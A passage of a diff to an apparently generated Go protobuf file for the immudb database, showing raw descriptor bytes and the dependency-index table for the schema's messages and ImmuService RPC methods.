0x1a, 0x1d, 0x2e, + 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, - 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x16, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x10, 0x12, 0x0e, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x2f, - 0x6c, 0x69, 0x73, 0x74, 0x12, 0x5b, 0x0a, 0x0d, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x62, 0x65, - 0x54, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, + 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x17, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x11, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x71, 0x6c, 0x71, 0x75, 0x65, + 0x72, 0x79, 0x3a, 0x01, 0x2a, 0x12, 0x5b, 0x0a, 0x0a, 0x4c, 0x69, 0x73, 0x74, 0x54, 0x61, 0x62, + 0x6c, 0x65, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, - 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x73, 0x3a, 0x01, - 0x2a, 0x12, 0x7f, 0x0a, 0x10, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, - 0x51, 0x4c, 0x47, 0x65, 0x74, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, - 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, - 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, - 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x22, 0x15, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, - 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x71, 0x6c, 0x67, 0x65, 0x74, 0x3a, - 0x01, 0x2a, 0x42, 0x8b, 0x03, 0x5a, 0x2b, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, - 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x92, 0x41, 0xda, 0x02, 0x12, 0xee, 0x01, 0x0a, 0x0f, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x12, 0xda, 0x01, 0x3c, 0x62, 0x3e, - 0x49, 0x4d, 0x50, 0x4f, 0x52, 0x54, 0x41, 0x4e, 0x54, 0x3c, 0x2f, 0x62, 0x3e, 0x3a, 0x20, 0x41, - 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, - 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, - 0x66, 0x65, 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, - 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6e, 0x20, 0x3c, 0x75, - 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, - 0x2f, 0x75, 0x3e, 0x20, 0x6b, 0x65, 0x79, 0x73, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x76, 0x61, 0x6c, - 0x75, 0x65, 0x73, 0x2c, 0x20, 0x77, 0x68, 0x69, 0x6c, 0x65, 0x20, 0x61, 0x6c, 0x6c, 0x20, 0x3c, - 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, - 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, 0x66, 0x65, 0x73, 0x65, - 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, - 0x6e, 0x73, 0x20, 0x65, 0x78, 0x70, 0x65, 0x63, 0x74, 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, - 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, - 0x69, 0x6e, 0x70, 0x75, 0x74, 0x73, 0x2e, 0x5a, 0x59, 0x0a, 0x57, 0x0a, 0x06, 0x62, 0x65, 0x61, - 0x72, 0x65, 0x72, 0x12, 0x4d, 0x08, 0x02, 0x12, 0x38, 0x41, 0x75, 0x74, 0x68, 0x65, 0x6e, 0x74, - 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x2c, 0x20, 0x70, - 0x72, 0x65, 0x66, 0x69, 0x78, 0x65, 0x64, 0x20, 0x62, 0x79, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, - 0x72, 0x3a, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, - 0x3e, 0x1a, 0x0d, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, - 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, - 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x10, 0x12, 0x0e, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x6c, 0x69, + 0x73, 0x74, 0x12, 0x5b, 0x0a, 0x0d, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, 0x62, 0x65, 0x54, 0x61, + 0x62, 0x6c, 0x65, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, + 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, + 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x73, 0x3a, 0x01, 0x2a, 0x12, + 0x7f, 0x0a, 0x10, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, + 0x47, 0x65, 0x74, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, + 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, + 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x20, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x22, 0x15, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, + 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x71, 0x6c, 0x67, 0x65, 0x74, 0x3a, 0x01, 0x2a, + 0x42, 0x8b, 0x03, 0x5a, 0x2b, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, + 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x92, 0x41, 0xda, 0x02, 0x12, 0xee, 0x01, 0x0a, 0x0f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, + 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x12, 0xda, 0x01, 0x3c, 0x62, 0x3e, 0x49, 0x4d, + 0x50, 0x4f, 0x52, 0x54, 0x41, 0x4e, 0x54, 0x3c, 0x2f, 0x62, 0x3e, 0x3a, 0x20, 0x41, 0x6c, 0x6c, + 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, + 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, 0x66, 0x65, + 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6e, 0x20, 0x3c, 0x75, 0x3e, 0x62, + 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, + 0x3e, 0x20, 0x6b, 0x65, 0x79, 0x73, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x76, 0x61, 0x6c, 0x75, 0x65, + 0x73, 0x2c, 0x20, 0x77, 0x68, 0x69, 0x6c, 0x65, 0x20, 0x61, 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, + 0x64, 0x65, 0x3e, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, + 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, 0x66, 0x65, 0x73, 0x65, 0x74, 0x3c, + 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, + 0x20, 0x65, 0x78, 0x70, 0x65, 0x63, 0x74, 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, + 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x69, 0x6e, + 0x70, 0x75, 0x74, 0x73, 0x2e, 0x5a, 0x59, 0x0a, 0x57, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, + 0x72, 0x12, 0x4d, 0x08, 0x02, 0x12, 0x38, 0x41, 0x75, 0x74, 0x68, 0x65, 0x6e, 0x74, 0x69, 0x63, + 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x2c, 0x20, 0x70, 0x72, 0x65, + 0x66, 0x69, 0x78, 0x65, 0x64, 0x20, 0x62, 0x79, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x3a, + 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, + 0x0d, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x02, + 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( @@ -10187,183 +10215,185 @@ var file_schema_proto_depIdxs = []int32{ 75, // 101: immudb.schema.IndexNullableSettings.commitLogMaxOpenedFiles:type_name -> immudb.schema.NullableUint32 75, // 102: immudb.schema.IndexNullableSettings.flushBufferSize:type_name -> immudb.schema.NullableUint32 77, // 103: immudb.schema.IndexNullableSettings.cleanupPercentage:type_name -> immudb.schema.NullableFloat - 75, // 104: immudb.schema.AHTNullableSettings.syncThreshold:type_name -> immudb.schema.NullableUint32 - 75, // 105: immudb.schema.AHTNullableSettings.writeBufferSize:type_name -> immudb.schema.NullableUint32 - 115, // 106: immudb.schema.SQLGetRequest.pkValues:type_name -> immudb.schema.SQLValue - 94, // 107: immudb.schema.VerifiableSQLGetRequest.sqlGetRequest:type_name -> immudb.schema.SQLGetRequest - 36, // 108: immudb.schema.SQLEntry.metadata:type_name -> immudb.schema.KVMetadata - 96, // 109: immudb.schema.VerifiableSQLEntry.sqlEntry:type_name -> immudb.schema.SQLEntry - 38, // 110: immudb.schema.VerifiableSQLEntry.verifiableTx:type_name -> immudb.schema.VerifiableTx - 40, // 111: immudb.schema.VerifiableSQLEntry.inclusionProof:type_name -> immudb.schema.InclusionProof - 124, // 112: immudb.schema.VerifiableSQLEntry.ColNamesById:type_name -> immudb.schema.VerifiableSQLEntry.ColNamesByIdEntry - 125, // 113: immudb.schema.VerifiableSQLEntry.ColIdsByName:type_name -> immudb.schema.VerifiableSQLEntry.ColIdsByNameEntry - 126, // 114: immudb.schema.VerifiableSQLEntry.ColTypesById:type_name -> immudb.schema.VerifiableSQLEntry.ColTypesByIdEntry - 127, // 115: immudb.schema.VerifiableSQLEntry.ColLenById:type_name -> immudb.schema.VerifiableSQLEntry.ColLenByIdEntry - 1, // 116: immudb.schema.ChangePermissionRequest.action:type_name -> immudb.schema.PermissionAction - 67, // 117: immudb.schema.DatabaseListResponse.databases:type_name -> immudb.schema.Database - 104, // 118: immudb.schema.DatabaseListResponseV2.databases:type_name -> immudb.schema.DatabaseWithSettings - 81, // 119: immudb.schema.DatabaseWithSettings.settings:type_name -> immudb.schema.DatabaseNullableSettings - 109, // 120: immudb.schema.SQLExecRequest.params:type_name -> immudb.schema.NamedParam - 109, // 121: immudb.schema.SQLQueryRequest.params:type_name -> immudb.schema.NamedParam - 115, // 122: immudb.schema.NamedParam.value:type_name -> immudb.schema.SQLValue - 111, // 123: immudb.schema.SQLExecResult.txs:type_name -> immudb.schema.CommittedSQLTx - 29, // 124: immudb.schema.CommittedSQLTx.header:type_name -> immudb.schema.TxHeader - 128, // 125: immudb.schema.CommittedSQLTx.lastInsertedPKs:type_name -> immudb.schema.CommittedSQLTx.LastInsertedPKsEntry - 129, // 126: immudb.schema.CommittedSQLTx.firstInsertedPKs:type_name -> immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry - 113, // 127: immudb.schema.SQLQueryResult.columns:type_name -> immudb.schema.Column - 114, // 128: immudb.schema.SQLQueryResult.rows:type_name -> immudb.schema.Row - 115, // 129: immudb.schema.Row.values:type_name -> immudb.schema.SQLValue - 130, // 130: immudb.schema.SQLValue.null:type_name -> google.protobuf.NullValue - 2, // 131: immudb.schema.NewTxRequest.mode:type_name -> immudb.schema.TxMode - 76, // 132: immudb.schema.NewTxRequest.snapshotMustIncludeTxID:type_name -> immudb.schema.NullableUint64 - 80, // 133: immudb.schema.NewTxRequest.snapshotRenewalPeriod:type_name -> immudb.schema.NullableMilliseconds - 115, // 134: immudb.schema.CommittedSQLTx.LastInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue - 115, // 135: immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue - 131, // 136: immudb.schema.ImmuService.ListUsers:input_type -> google.protobuf.Empty - 7, // 137: immudb.schema.ImmuService.CreateUser:input_type -> immudb.schema.CreateUserRequest - 9, // 138: immudb.schema.ImmuService.ChangePassword:input_type -> immudb.schema.ChangePasswordRequest - 99, // 139: immudb.schema.ImmuService.ChangePermission:input_type -> immudb.schema.ChangePermissionRequest - 100, // 140: immudb.schema.ImmuService.SetActiveUser:input_type -> immudb.schema.SetActiveUserRequest - 12, // 141: immudb.schema.ImmuService.UpdateAuthConfig:input_type -> immudb.schema.AuthConfig - 13, // 142: immudb.schema.ImmuService.UpdateMTLSConfig:input_type -> immudb.schema.MTLSConfig - 14, // 143: immudb.schema.ImmuService.OpenSession:input_type -> immudb.schema.OpenSessionRequest - 131, // 144: immudb.schema.ImmuService.CloseSession:input_type -> google.protobuf.Empty - 131, // 145: immudb.schema.ImmuService.KeepAlive:input_type -> google.protobuf.Empty - 116, // 146: immudb.schema.ImmuService.NewTx:input_type -> immudb.schema.NewTxRequest - 131, // 147: immudb.schema.ImmuService.Commit:input_type -> google.protobuf.Empty - 131, // 148: immudb.schema.ImmuService.Rollback:input_type -> google.protobuf.Empty - 107, // 149: immudb.schema.ImmuService.TxSQLExec:input_type -> immudb.schema.SQLExecRequest - 108, // 150: immudb.schema.ImmuService.TxSQLQuery:input_type -> immudb.schema.SQLQueryRequest - 10, // 151: immudb.schema.ImmuService.Login:input_type -> immudb.schema.LoginRequest - 131, // 152: immudb.schema.ImmuService.Logout:input_type -> google.protobuf.Empty - 41, // 153: immudb.schema.ImmuService.Set:input_type -> immudb.schema.SetRequest - 45, // 154: immudb.schema.ImmuService.VerifiableSet:input_type -> immudb.schema.VerifiableSetRequest - 42, // 155: immudb.schema.ImmuService.Get:input_type -> immudb.schema.KeyRequest - 46, // 156: immudb.schema.ImmuService.VerifiableGet:input_type -> immudb.schema.VerifiableGetRequest - 44, // 157: immudb.schema.ImmuService.Delete:input_type -> immudb.schema.DeleteKeysRequest - 43, // 158: immudb.schema.ImmuService.GetAll:input_type -> immudb.schema.KeyListRequest - 21, // 159: immudb.schema.ImmuService.ExecAll:input_type -> immudb.schema.ExecAllRequest - 25, // 160: immudb.schema.ImmuService.Scan:input_type -> immudb.schema.ScanRequest - 26, // 161: immudb.schema.ImmuService.Count:input_type -> immudb.schema.KeyPrefix - 131, // 162: immudb.schema.ImmuService.CountAll:input_type -> google.protobuf.Empty - 59, // 163: immudb.schema.ImmuService.TxById:input_type -> immudb.schema.TxRequest - 62, // 164: immudb.schema.ImmuService.VerifiableTxById:input_type -> immudb.schema.VerifiableTxRequest - 63, // 165: immudb.schema.ImmuService.TxScan:input_type -> immudb.schema.TxScanRequest - 57, // 166: immudb.schema.ImmuService.History:input_type -> immudb.schema.HistoryRequest - 47, // 167: immudb.schema.ImmuService.ServerInfo:input_type -> immudb.schema.ServerInfoRequest - 131, // 168: immudb.schema.ImmuService.Health:input_type -> google.protobuf.Empty - 131, // 169: immudb.schema.ImmuService.DatabaseHealth:input_type -> google.protobuf.Empty - 131, // 170: immudb.schema.ImmuService.CurrentState:input_type -> google.protobuf.Empty - 52, // 171: immudb.schema.ImmuService.SetReference:input_type -> immudb.schema.ReferenceRequest - 53, // 172: immudb.schema.ImmuService.VerifiableSetReference:input_type -> immudb.schema.VerifiableReferenceRequest - 54, // 173: immudb.schema.ImmuService.ZAdd:input_type -> immudb.schema.ZAddRequest - 58, // 174: immudb.schema.ImmuService.VerifiableZAdd:input_type -> immudb.schema.VerifiableZAddRequest - 56, // 175: immudb.schema.ImmuService.ZScan:input_type -> immudb.schema.ZScanRequest - 67, // 176: immudb.schema.ImmuService.CreateDatabase:input_type -> immudb.schema.Database - 68, // 177: immudb.schema.ImmuService.CreateDatabaseWith:input_type -> immudb.schema.DatabaseSettings - 69, // 178: immudb.schema.ImmuService.CreateDatabaseV2:input_type -> immudb.schema.CreateDatabaseRequest - 85, // 179: immudb.schema.ImmuService.LoadDatabase:input_type -> immudb.schema.LoadDatabaseRequest - 87, // 180: immudb.schema.ImmuService.UnloadDatabase:input_type -> immudb.schema.UnloadDatabaseRequest - 89, // 181: immudb.schema.ImmuService.DeleteDatabase:input_type -> immudb.schema.DeleteDatabaseRequest - 131, // 182: immudb.schema.ImmuService.DatabaseList:input_type -> google.protobuf.Empty - 102, // 183: immudb.schema.ImmuService.DatabaseListV2:input_type -> immudb.schema.DatabaseListRequestV2 - 67, // 184: immudb.schema.ImmuService.UseDatabase:input_type -> immudb.schema.Database - 68, // 185: immudb.schema.ImmuService.UpdateDatabase:input_type -> immudb.schema.DatabaseSettings - 71, // 186: immudb.schema.ImmuService.UpdateDatabaseV2:input_type -> immudb.schema.UpdateDatabaseRequest - 131, // 187: immudb.schema.ImmuService.GetDatabaseSettings:input_type -> google.protobuf.Empty - 73, // 188: immudb.schema.ImmuService.GetDatabaseSettingsV2:input_type -> immudb.schema.DatabaseSettingsRequest - 91, // 189: immudb.schema.ImmuService.FlushIndex:input_type -> immudb.schema.FlushIndexRequest - 131, // 190: immudb.schema.ImmuService.CompactIndex:input_type -> google.protobuf.Empty - 42, // 191: immudb.schema.ImmuService.streamGet:input_type -> immudb.schema.KeyRequest - 105, // 192: immudb.schema.ImmuService.streamSet:input_type -> immudb.schema.Chunk - 46, // 193: immudb.schema.ImmuService.streamVerifiableGet:input_type -> immudb.schema.VerifiableGetRequest - 105, // 194: immudb.schema.ImmuService.streamVerifiableSet:input_type -> immudb.schema.Chunk - 25, // 195: immudb.schema.ImmuService.streamScan:input_type -> immudb.schema.ScanRequest - 56, // 196: immudb.schema.ImmuService.streamZScan:input_type -> immudb.schema.ZScanRequest - 57, // 197: immudb.schema.ImmuService.streamHistory:input_type -> immudb.schema.HistoryRequest - 105, // 198: immudb.schema.ImmuService.streamExecAll:input_type -> immudb.schema.Chunk - 65, // 199: immudb.schema.ImmuService.exportTx:input_type -> immudb.schema.ExportTxRequest - 105, // 200: immudb.schema.ImmuService.replicateTx:input_type -> immudb.schema.Chunk - 107, // 201: immudb.schema.ImmuService.SQLExec:input_type -> immudb.schema.SQLExecRequest - 108, // 202: immudb.schema.ImmuService.SQLQuery:input_type -> immudb.schema.SQLQueryRequest - 131, // 203: immudb.schema.ImmuService.ListTables:input_type -> google.protobuf.Empty - 93, // 204: immudb.schema.ImmuService.DescribeTable:input_type -> immudb.schema.Table - 95, // 205: immudb.schema.ImmuService.VerifiableSQLGet:input_type -> immudb.schema.VerifiableSQLGetRequest - 6, // 206: immudb.schema.ImmuService.ListUsers:output_type -> immudb.schema.UserList - 131, // 207: immudb.schema.ImmuService.CreateUser:output_type -> google.protobuf.Empty - 131, // 208: immudb.schema.ImmuService.ChangePassword:output_type -> google.protobuf.Empty - 131, // 209: immudb.schema.ImmuService.ChangePermission:output_type -> google.protobuf.Empty - 131, // 210: immudb.schema.ImmuService.SetActiveUser:output_type -> google.protobuf.Empty - 131, // 211: immudb.schema.ImmuService.UpdateAuthConfig:output_type -> google.protobuf.Empty - 131, // 212: immudb.schema.ImmuService.UpdateMTLSConfig:output_type -> google.protobuf.Empty - 15, // 213: immudb.schema.ImmuService.OpenSession:output_type -> immudb.schema.OpenSessionResponse - 131, // 214: immudb.schema.ImmuService.CloseSession:output_type -> google.protobuf.Empty - 131, // 215: immudb.schema.ImmuService.KeepAlive:output_type -> google.protobuf.Empty - 117, // 216: immudb.schema.ImmuService.NewTx:output_type -> immudb.schema.NewTxResponse - 111, // 217: immudb.schema.ImmuService.Commit:output_type -> immudb.schema.CommittedSQLTx - 131, // 218: immudb.schema.ImmuService.Rollback:output_type -> google.protobuf.Empty - 131, // 219: immudb.schema.ImmuService.TxSQLExec:output_type -> google.protobuf.Empty - 112, // 220: immudb.schema.ImmuService.TxSQLQuery:output_type -> immudb.schema.SQLQueryResult - 11, // 221: immudb.schema.ImmuService.Login:output_type -> immudb.schema.LoginResponse - 131, // 222: immudb.schema.ImmuService.Logout:output_type -> google.protobuf.Empty - 29, // 223: immudb.schema.ImmuService.Set:output_type -> immudb.schema.TxHeader - 38, // 224: immudb.schema.ImmuService.VerifiableSet:output_type -> immudb.schema.VerifiableTx - 18, // 225: immudb.schema.ImmuService.Get:output_type -> immudb.schema.Entry - 39, // 226: immudb.schema.ImmuService.VerifiableGet:output_type -> immudb.schema.VerifiableEntry - 29, // 227: immudb.schema.ImmuService.Delete:output_type -> immudb.schema.TxHeader - 22, // 228: immudb.schema.ImmuService.GetAll:output_type -> immudb.schema.Entries - 29, // 229: immudb.schema.ImmuService.ExecAll:output_type -> immudb.schema.TxHeader - 22, // 230: immudb.schema.ImmuService.Scan:output_type -> immudb.schema.Entries - 27, // 231: immudb.schema.ImmuService.Count:output_type -> immudb.schema.EntryCount - 27, // 232: immudb.schema.ImmuService.CountAll:output_type -> immudb.schema.EntryCount - 34, // 233: immudb.schema.ImmuService.TxById:output_type -> immudb.schema.Tx - 38, // 234: immudb.schema.ImmuService.VerifiableTxById:output_type -> immudb.schema.VerifiableTx - 64, // 235: immudb.schema.ImmuService.TxScan:output_type -> immudb.schema.TxList - 22, // 236: immudb.schema.ImmuService.History:output_type -> immudb.schema.Entries - 48, // 237: immudb.schema.ImmuService.ServerInfo:output_type -> immudb.schema.ServerInfoResponse - 49, // 238: immudb.schema.ImmuService.Health:output_type -> immudb.schema.HealthResponse - 50, // 239: immudb.schema.ImmuService.DatabaseHealth:output_type -> immudb.schema.DatabaseHealthResponse - 51, // 240: immudb.schema.ImmuService.CurrentState:output_type -> immudb.schema.ImmutableState - 29, // 241: immudb.schema.ImmuService.SetReference:output_type -> immudb.schema.TxHeader - 38, // 242: immudb.schema.ImmuService.VerifiableSetReference:output_type -> immudb.schema.VerifiableTx - 29, // 243: immudb.schema.ImmuService.ZAdd:output_type -> immudb.schema.TxHeader - 38, // 244: immudb.schema.ImmuService.VerifiableZAdd:output_type -> immudb.schema.VerifiableTx - 24, // 245: immudb.schema.ImmuService.ZScan:output_type -> immudb.schema.ZEntries - 131, // 246: immudb.schema.ImmuService.CreateDatabase:output_type -> google.protobuf.Empty - 131, // 247: immudb.schema.ImmuService.CreateDatabaseWith:output_type -> google.protobuf.Empty - 70, // 248: immudb.schema.ImmuService.CreateDatabaseV2:output_type -> immudb.schema.CreateDatabaseResponse - 86, // 249: immudb.schema.ImmuService.LoadDatabase:output_type -> immudb.schema.LoadDatabaseResponse - 88, // 250: immudb.schema.ImmuService.UnloadDatabase:output_type -> immudb.schema.UnloadDatabaseResponse - 90, // 251: immudb.schema.ImmuService.DeleteDatabase:output_type -> immudb.schema.DeleteDatabaseResponse - 101, // 252: immudb.schema.ImmuService.DatabaseList:output_type -> immudb.schema.DatabaseListResponse - 103, // 253: 